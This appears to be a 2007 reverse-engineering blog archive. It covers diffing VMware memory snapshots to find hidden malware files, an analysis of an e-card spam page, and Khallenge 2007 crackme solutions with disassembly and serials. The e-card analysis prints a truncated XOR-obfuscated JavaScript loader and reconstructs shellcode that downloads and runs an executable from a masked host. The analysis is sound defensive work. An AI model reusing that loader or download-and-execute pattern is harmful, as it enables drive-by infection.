August 2007


Nowadays there’s a big use of virtualization; tools like VMware, VirtualPC and others are daily used. There are some differencies between the original and the virtualized environment, but to study a malware under a protected blackbox it’s very comfortable. You can study their behaviour without any problems.

Just today, while I was running a malware, I got this foolish idea: can I identify hidden files using VMware’s snapshots?

Under VMware you can save the current state of a virtual machine taking a snapshot of the running guest system. The snapshot is stored somewhere in the guest’s OS folder, it simply needs some files. I’m interestered in one file only, the one containing the guest’s memory. The memory is saved inside a file with .vmem extension.

The idea is to take two snapshots (a virgin and an infected system), and then compare the two files. The main problem is that a single snapshot needs a large amounts of bytes, around 260 Mb on my system. Comparing the snapshots using an hex editor is madness. I decided to write a simple application able to compare two files string to string. Why only strings?
Well, how can I identify an hidden file simply looking at a “memory dump”? The answer is simple: the only thing able to reveal a trace is a string containing the name of the hidden file, nothing more. So, I extract all the strings from the virgin snapshot and then I compare them with all the strings from the infected snapshot. Yes, it’s a foolish idea but it helps me to pass a boring afternoon.

The program is pretty simple and easy to implement, here’s the program in action:

Compare_snapshots dialog

The upper listbox control shows all the strings inside the virgin snapshot. To fill the second listbox control I simply search for all the strings inside the snapshot displaying the ones which are not inside the upper listbox.

The most important part of the program is the internal “search engine”. To speed up the program you have to search for specific strings. To view the results in a quick way I simply search for strings with extension “.sys”, “.dll” or just “.exe”. That’s because these are the file extensions of the files that are always hidden. You can improve the search engine adding some more rules (i.e. string must have “system32″ or “windows” inside) but the result won’t change: you can always see some interesting strings.

I tried the program running two malwares: Lager and Nailuj.
Lager malware hides a file named taskdir.exe and Nailuj hides videoati0.sys/dll/exe.
In both cases, I can see some strings referring to the hidden files. Here is a screenshot for Lager:

Compare snapshots taskdir

The string is somewhere in the memory, I’m not interested in its position but in the string itself: it exists!

There are some good tools out there able to show hidden files but sometimes they fail. When they fail you can try with this approach.

I’ll test this approach with some more malwares in the next days. If you want I can share the “Compare snapshots” program, just drop me a mail or write a comment right here.

Copenhagen, Helsinki, Porvoo, Lappeenranta, Tampere… my beautiful vacation is ended. Back home again with some mails/forums/newspapers/blogs to read. My hotmail mailbox contains some unwanted mails, more than in the past. I gave it a look. From all the mails I choose one entitled “animated e-card” because there are some blogs talking about this kind of mail. They all explain what’s behind this simple e-card mail, in this post I’m going to write almost the same thing showing you how to find out the hidden code using an interesting tool named Malzilla, written by Boban Spasic. It’s a nice tool, easy to use. The examples posted on the Malzilla’s web page are really helpful.

Let’s start, the mail’s body is:

Good day.
Your Friend has sent you animated e-card from greet2k.com.
Click on your animated e-card link below:
http://68.80.xxx.32/
Copyright (c) 1991-2007 greet2k.com All Rights Reserved

There should be something at that address. To check it I used Malzilla. Put the address in the url box and hit GET button. Here is what I got:

Your Download Should Begin Shortly. If your download does not start in approximately 15 seconds, you can <ahref=”/ecard.exe”>click here</a> to launch the download.<Script Language=’JavaScript’> function xor_str(plain_str, xor_key){var xored_str = “”; for (var i = 0 ; i < plain_str.length; ++i) xored_str += String.fromCharCode(xor_key ^plain_str.charCodeAt(i)); return xored_str; } var plain_str =”\xe5\xc8\xcf\xc8<<<many chars here>>>x88\x89\xfb\xe5″; var xored_str = xor_str(plain_str, 197); document.write(xored_str);</script>

The result is composed by two parts, a text which is displayed in the browser and a script. The text contains a link to a recent malware recognized by almost all the antivirus companies. If you click on the link you’ll download a malicious file… it’s always the same story but many users continue to click on this kind of link, weird.
The other part is the script. It’s not really readable in this form. First of all, as suggested in the Malzilla’s help page, I sent the script to the decoder using ‘Send script to decoder’ button. In the Decode tab there is a button name “Format text”, it can be used to format the script but it doesn’t produce a perfect indentation btw. Anyway, “Run script” reveals an interesting result:

malzilla_exec_script.jpg

I cut some bytes from the result replacing with ‘…’.
Ok, what’s that? Hm, look at the end of the embed src text: “9.wmv”, wmv stands for Windows Media Video. Looks like an exploitation. A quick search on internet provides the answer to the “what’s that” question, this is an exploit for a vulnerability in Windows Media Player plug-in. In this case the shellcode (the %xx sequence inside ’s+=unescape’ string) contains some code able to download a file. Here is a picture taken from Malzilla which shows part of the shellcode’s bytes:

Malzilla hex view

It’s easy to recognize some strings in it: urlmon.dll, C:\U.exe and the http address. The hidden code is something like:

LoadLibrary(“urlmon.dll”);
UrlDownloadToFileA(…, “http://68.80.xxx.32/file.php”, “C:\U.exe”, …, …)
WinExec(“C:\U.exe”, …)
ExitProcess

The shellcode is used to download and execute a file. When the malicious file has been executed the shellcode ends and you are infected.

Don’t know if this file and the ecard.exe are the same, I’m not interested in it now. I just wanted to give a try to Malzilla, an interesting tool for sure. Thanks to Boban.

That’s all!

Khallenge 2007 is now over, I can write something about the levels.

Level_1
A debugger provides the fastest solution for the level because you can sniff the serial in few seconds. That’s why the first solution took only 1 minute to arrive. I used a disassembler approach for the level.

It’s a console application, printf is used to print the string on the console while scanf is used to read the serial:

69001056 push offset aAssembly2007Re ; "Assembly 2007 Reverse-Engineering"...
6900105B call esi ; printf
6900105D push offset Fake_Serial
69001062 push offset aS ; "%s"
69001067 call ds:scanf ; Read the serial, the fake one

Now, the core of the level:

6900106D movsx ecx, byte ptr aAssembly2007Re+22h
69001074 movsx edx, byte ptr aAssembly2007Re+16h
6900107B movsx eax, byte ptr aAssembly2007Re+0Eh
69001082 mov edi, ds:sprintf
69001088 push ecx
69001089 movsx ecx, byte ptr aAssembly2007Re+0Ch
69001090 push edx
69001091 movsx edx, byte ptr aAssembly2007Re+0Bh
69001098 push eax
69001099 movsx eax, byte ptr aAssembly2007Re+4

690010A0 push ecx
690010A1 movsx ecx, byte ptr aAssembly2007Re+1
690010A8 push edx
690010A9 movsx edx, byte ptr aAssembly2007Re ; "Assembly 2007 Reverse-Engineering Chall"...
690010B0 push eax
690010B1 push ecx
690010B2 push edx
690010B3 push offset aCCCCCCCC ; "%c%c%c%c%c%c%c%c"
690010B8 push offset Right_Serial ; char *
690010BD call edi ; sprintf : build the right serial
690010BF push offset Right_Serial ; char *
690010C4 push offset Fake_Serial ; char *
690010C9 call ds:_stricmp ; Compare between the right and the fake serial
690010CF add esp, 3Ch
690010D2 test eax, eax
690010D4 jnz short Error_Message ; Jump to error if the serial is wrong

It’s all in the stricmp function. The function is used to compare two strings, the fake and the right serial. stricmp returns zero if the strings are equal. If the serials are not equal the conditional jump at 690010D4 will bring you directly to the error message, otherwise you’ll see the congratulations box. The serial is not clearly visible, it’s build using sprintf function. Just some lines above the sprintf call there are some push instructions. These are the bytes used to create the right serial. As you can see they are taken directly from an existing string: “‘Assembly 2007 Reverse-Engineering Challenge – Level…”. You can identify the right characters looking at the offsets: “movsx eax, byte ptr aAssembly2007Re+4" represents the 5° character of the above string, ‘m’. For a better visualization you can undefine the string “Assembly 2007…” obtaining the right characters without using the offets. Since of the challenge uses stricmp you don’t have to use capital letters, ‘asm07rec’ will do the job.

Level 2

I’m guilty? Don’t know but I feel a little bit guilty about this level.
This time the challenge consists of a console application which needs a correct parameter in order to be solved. When you provide the right parameter the application shows the right mail address, which is unique.

Khallenge Level_2

The image represents the block diagram of the checking routine. The challenge needs something from the command line, the block “Scan command line string” scans the entire string until the end beause it needs a pointer to the end of the command line string. After that there are 3 checks, if you complete check #1, #2 and #3_A you’ll see the congratulations box showing the right mail address. If you don’t provide a valid parameter you’ll only get an error message. A classical challenge with two ways, the right and the wrong way.
This is not totally true because there’s another way for reaching the right box, it’s via “Hmmm” block. If you pass check #1, #3_B but don’t pass check #2 you arrive to this piece of code:

004012EF push esp
004012F0 mov [esp+24h+var_24], eax
004012F3 mov eax, offset loc_401245
004012F8 xchg eax, [esp+24h+var_24]
004012FB retn

401245 is the starting address of the block named “Congratulations message”, seems like there’s another way to solve the level. Yes and no. If you reach this piece of code you’ll see the congratulations box, but unfortunatly the mail address is totally wrong. Guided by the enthusiasm I didn’t take care of the checking process, I had a congratulations box with a mail address in front of me… do I need something else? Yes, a valid string to pass to the program, nothing else.
The end of the story: I passed the level providing two parameters instead of one and using a wrong mail address. I think that the guys who did check my solution approve it just because the message box appears. I’m terribly sorry about that, I feel stupid. They didn’t ask me to re-try the challenge again because when the author knew it I had just complete challenge#3…Thanks to Kamil and the guys at F-Secure for approving my non-solution, I could have given them the valid solution before the end of the challenge as well :p
Try to find out two valid parameters and look with your eyes btw, it doesn’t have much sense really. So, the challenge is not bugged for sure, but I would like to know if it’s an intentional trick or what?

Now, back to the original problem: how to solve this level playing the right way? As I said some lines above I have to pass 3 checks.

Check #1

004011C2 mov al, [edx-5] ; edx points to the end of the command line string
004011C5 xchg eax, [esp+24h+var_24] ; Store the value in the stack
...
004011D1 xor eax, eax
004011D3 mov al, 20h
004011D5 xchg eax, [esp+28h+var_28] ; Store 0x20 in the stack
004011D8 xchg eax, [esp+28h+var_24]
004011DC cmp eax, [esp+28h+var_28] ; compare between a byte in the command line and 0x20
004011DF pop eax
004011E0 pop eax
004011E1 jnz loc_4012FC ; They have to be the same

The filename doesn’t have a space in it so I have to pass something from the command line. At the moment I can say that I have 5 bytes after filename, the first one is the ’space’.

Check #2

004011FE mov al, [edx-6] ; Pretty similar to 4011C2
00401201 xchg eax, [esp+24h+var_24] ; Store the value in the stack
...
0040120D xor eax, eax
0040120F mov al, 22h
00401211 xchg eax, [esp+28h+var_28] ; Store 0x22 in the stack
00401214 xchg eax, [esp+28h+var_24]
00401218 cmp eax, [esp+28h+var_28] ; compare between a byte in the command line and 0x22
0040121B pop eax
0040121C pop eax
0040121D jnz loc_4012D1 ; They have to be the same

It’s more or less like check#1. In this case it checks the presence of ‘”‘. Do I have to insert this character after the filename? No. If you look at the value returned by GetCommandLine you see something like: “C:\Rev\tmp\FSC_Level2_unp.exe”. The ‘”‘ at the begining and at the end are not added by me.

Check #3

004011E9 mov eax, [edx-4] ; v1 = dword pointed by [edx-4]
004011EC xor eax, 5528566Dh ; v1 ^ 0x5528566D
004011F1 xor ah, bh ; Antidebug trick in action!
...
00401227 mov eax, [edx-0Ah] ; v2: dword pointed by [edx-0Ah]
...
0040123A cmp eax, [esp+28h+var_28] ; compare between v1 and v2
0040123D pop eax
0040123E pop eax
0040123F jnz loc_4012FC ; They have to be the same

2 dwords are taken from the command line string. They are used in this final check. At this point you have two options:
1. you can use two params (like I did..)
2. you can use one param only
The right solution (the one to the right mail message) is represented by the second option.

In the snippet above there is a little antidebug trick in action. The trick is not really visible but the result of the trick resides in the ‘xor ah, bh’ instruction. The antidebug trick is stored inside a TLS:

004070AC mov eax, large fs:18h ; TEB
004070B2 mov eax, [eax+30h] ; PEB
004070B5 movzx eax, word ptr [eax+2] ; PEB.BeingDebugged
004070B9 cmp eax, 0
004070BC setz al
004070BF imul eax, 8
004070C2 sub byte ptr ds:loc_4063BC+1, al

At 4070C2, AL is 0x00 if the process is being debugged while AL is 0x08 if not. The value is used to patch a byte at 4063BD, the jump instruction at the end of the upx layer. There are two possible entry points (401352 and 40135A), depending on the use of a debugger or not:

00401352 xor ebx, ebx ; First entry point: EBX = 0
00401354 push 40135A ; Go to the other entry point
00401359 retn
0040135A push eax ; Second entry point
...

The only difference is the xor instruction, the only one capable of changing the value of EBX. Starting from here EBX is never changed. Now you should understand why ‘xor ah, bh’ was putted inside the code.

Now that I know this information I can calculate the right value.
v2 is obtained from the bytes at the end of the filename (“.exe”, 0×6578652E), I have:
v2 == v1 ^ 0×5528566D
v1 = 0×30503343
In the end, C3P0 is the parameter. To solve the challenge you have to run the challenge in this way: FSC_Level2.exe C3P0

Well, at this point you should understand why I sent a mail to the team. I was sure to have a valid address just because I didn’t study the whole protection routine. Yes, I’m guilty!

Level 3
The last level, the hardest one. Another console application, to complete the level you have to find the right password.

The protection is pretty easy, but the author tried to make our reversing session a little bit hard. This challenge reminds me of a crackme I wrote some years ago. The name/serial check was really simple, but I used an implementation of a Turing machine for checking the name/serial combination. It increases the level of difficulty a little.
Using this kind of tricks an easy algorithm becomes an evil algorithm for sure.

Well, everything starts at 40E95B. Don’t think to step the code instruction by instruction! The routine is a sequence of blocks, in general each block has from 2 to 4 instructions. Some examples:

mov eax, [ebx+8]
add [ebx+78h], eax
jmp loc_41408E

mov eax, [ebx+78h]
mov eax, [eax]
mov [ebx+68h], eax
jmp loc_41264A</code

mov dword ptr [ebx+78h], 0
jmp loc_413B08

cmp dword ptr [ebx+64h], 0
jz short loc_40FABD
jmp loc_40FF5D

What to do in this case? There are two valid ways: trying to use some clever breakpoints or approaching the target with a sort of static analysis. I used the first way, breakpoints.

I tried to step some instructions at first, just to see how the algo works. There are some memory dwords used inside the protection routine, they are used to store/change values of the protection routine. Everything pass from these dwords, but only one seems to be the most interesting: the one pointed by [ebx+64]. Why? Look at the cmp instructions inside the routine, you’ll see [ebx+64] only. Searching for [ebx+64] inside the routine I got a lot of references, here are the instruction’s type (each one is called many times…):

1. add [ebx+64h], al
2. add [ebx+64h], eax
3. and byte ptr [ebx+64h], 1
4. and dword ptr [ebx+64h], 1
5. cmp [ebx+64h], cl
6. cmp [ebx+64h], ecx
7. cmp dword ptr [ebx+64h], 0
8. mov [ebx+64h], al
9. mov [ebx+64h], eax
10. mov al, [ebx+64h]
11. mov dword ptr [ebx+64h], 0
12. mov dword ptr [ebx+64h], 0Ah
13. mov dword ptr [ebx+64h], 0BAh
14. mov dword ptr [ebx+64h], 0Bh
15. mov dword ptr [ebx+64h], 0CEh
16. mov dword ptr [ebx+64h], 0Ch
17. mov dword ptr [ebx+64h], 0E0AC5C4Eh
18. mov dword ptr [ebx+64h], 0E0h
19. mov dword ptr [ebx+64h], 0FFFFFDF4h
20. mov dword ptr [ebx+64h], 0FFFFFFFCh
21. mov dword ptr [ebx+64h], 0FFFFFFFFh
22. mov dword ptr [ebx+64h], 0FFh
23. mov dword ptr [ebx+64h], 1
24. mov dword ptr [ebx+64h], 1000000h
25. mov dword ptr [ebx+64h], 10000h
26. mov dword ptr [ebx+64h], 100h
27. mov dword ptr [ebx+64h], 100h
28. mov dword ptr [ebx+64h], 2
29. mov dword ptr [ebx+64h], 208h
30. mov dword ptr [ebx+64h], 3
31. mov dword ptr [ebx+64h], 32303038h
32. mov dword ptr [ebx+64h], 33h
33. mov dword ptr [ebx+64h], 3766h
34. mov dword ptr [ebx+64h], 4
35. mov dword ptr [ebx+64h], 48h
36. mov dword ptr [ebx+64h], 5
37. mov dword ptr [ebx+64h], 53h
38. mov dword ptr [ebx+64h], 6
39. mov dword ptr [ebx+64h], 61h
40. mov dword ptr [ebx+64h], 6Ah
41. mov dword ptr [ebx+64h], 7
42. mov dword ptr [ebx+64h], 76h
43. mov dword ptr [ebx+64h], 8
44. mov dword ptr [ebx+64h], 9
45. mov eax, [ebx+64h]
46. xor [ebx+64h], al
47. xor [ebx+64h], eax
48. xor byte ptr [ebx+64h], 1
49. xor dword ptr [ebx+64h], 1

At first I wanted to select few of them, just to set some strategic breakpoint. It’s impossible to select the most interesting and I can’t put a breakpoint on all of them.

One step at a time, let’s start breakpointing on the serial. Ollydbg stops at 412848. Take a look at some instructions that are part of the code flow starting from 412848:

00412848 mov al, [eax] ; serial[0]
0041284A mov [ebx+64h], al ; store serial[0]
...
0040F4D0 mov al, [ebx+64h] ; retrieve serial[0]
...
0040FD55 mov dword ptr [ebx+64h], 0 ; clear the dword for future use
...
00414783 mov eax, [ebx+64h] ; dword is 0 due to execution of 40FD55
...
00413E43 cmp [ebx+64h], cl ; [ebx+64h] = serial[0], cl = 0x00
00413E49 jnz short loc_413E4C ; is there a serial[0] ?
00413E4B inc eax ; no other byte in the serial
00413E4C mov [ebx+64h], al
00413E52 jmp loc_40ECD2

413E4B is a good place for a breakpoint. Let’s try. Yes, I’m on the right way. The algo scans the entered serial, in general this is done when you want to check the length of the serial. I am almost sure there will be a compare instruction sooner or later. I added some more breakpoints on instruction’s type #5 and #6, but not #7 because I suppose that the compare should be between the length of the serial and a fixed values. Let’s try:

00413D74 cmp [ebx+64h], ecx ; compare between the serial length and 0x10
00413D7A jnz short loc_413D7D

Seems like the serial should be 0×10 bytes. I suggest you to use a serial like “0123456789abcdef”, it helps me when I have to know the offset of a certain byte inside the buffer.

At this point I could try to add some more breakpoints but which one exactly? Don’t know. Let’s try running the program with the same breakpoints setted. Olly breaks, the program reads serial[0] and stores it inside [ebx+64].

Ok, it’s time to add a new breakpoint, a memory breakpoint on dword at [ebx+64]. Olly will break some times, but only one seems to be interesting:

004144DB mov dword ptr [ebx+64h], 53h

Hmm, the next interesting break occours at 412896:

00412896 cmp [ebx+64h], cl ; cl = 0x53h and [ebx+64h] = serial[0]

This is the first check, the first useful information: serial[0] = 0×53 (‘S’)
Believe it or not this is a fast approach, using Ollydbg it’s only a matter of F9 trying to be concentrate for some minutes. While running/stopping you only have to discard instructions like #2, #7, #8, #9, #10,#45, #48, #49 and some more. You can find out the right serial without restarting the program again and again, just one session is needed. Here is the information gained debugging the program.

serial[1] = 0×61 (‘a’)
serial[3] = 0×6A (‘j’)

serial[4] + serial[6] = 0xBA
serial[4] + serial[5] = 0xCE
serial[5] + serial[6] = 0xE0
3 equations in 3 variables, the result is:
serial[4] = 0×54 (‘T’)
serial[5] = 0×7A (‘z’)
serial[6]= 0×66 (‘f’)

serial[7] = serial[4] + serial[5] + serial[6] = 0×54 + 0×7A + 0×66 = 0×134
serial[7]= 0×34 (‘4′)

serial[9] = 0×48 (‘H’)
serial[A] = 0×33 (‘3′)
serial[B] = 0×76 (‘v’)

serial[2] ^ serial[8] = 0×53
You have some valid combinations here, just choose one:
serial[2] = 0×63 (‘c’)
serial[8] = 0×30 (‘0′)

(serial[1] + serial[F]) ^ 0×32 = 0xE0 –> serial[F] = 0×71 (‘q’)
(serial[4] + serial[D]) ^ 0×30 = 0xAC –> serial[D] = 0×48 (‘H’)
(serial[A] + serial[E]) ^ 0×30 = 0×5C –> serial[E] = 0×39 (‘9′)
serial[C] ^ 0×38 = 0×4E –> serial[C] = 0×76 (‘v’)

To sum up, a possible right serial is: SacjTzf40H3vvH9q

Final words
Thanks to Kamil for the nice challenges and congratulations to the solvers.

Just to say, I solved the 3 challenges. Really nice. Yes, a funny reversing session. According to the main page of the Khallenge 2007 I think I’m the 5° to complete the levels. I can’t say anything else about the challenges; I’ll post some notes in the next days, when the challenge will be over.

A little advice for those whom are trying to solve level_2. I had a little problem on this level because I didn’t receive any notification. I sent the mail to the correct address but no repy from the system. After some time I sent a mail to the staff. I got a quick reply from Jarkko Turkulainen (thanks), they had a little bug in their checking process I suppose. No problem :)
I think they have fixed the bug but if you don’t get any reply in few minutes I suggest you to send a mail to them.

Ok, now it’s time to plan my holiday. Yes, starting from 10 Aug. I’ll be in holiday. I’ll fly to Scandinavian again. Last year I was in Sweden and Norway and I enjoyed to stay there. This summer I’ll spend some days starting from Copenhagen, then some days in Helsinki (I’ll shot a picture to the HTC for sure) and in the last part of the holiday I’ll make a tour around the center/south of Finland.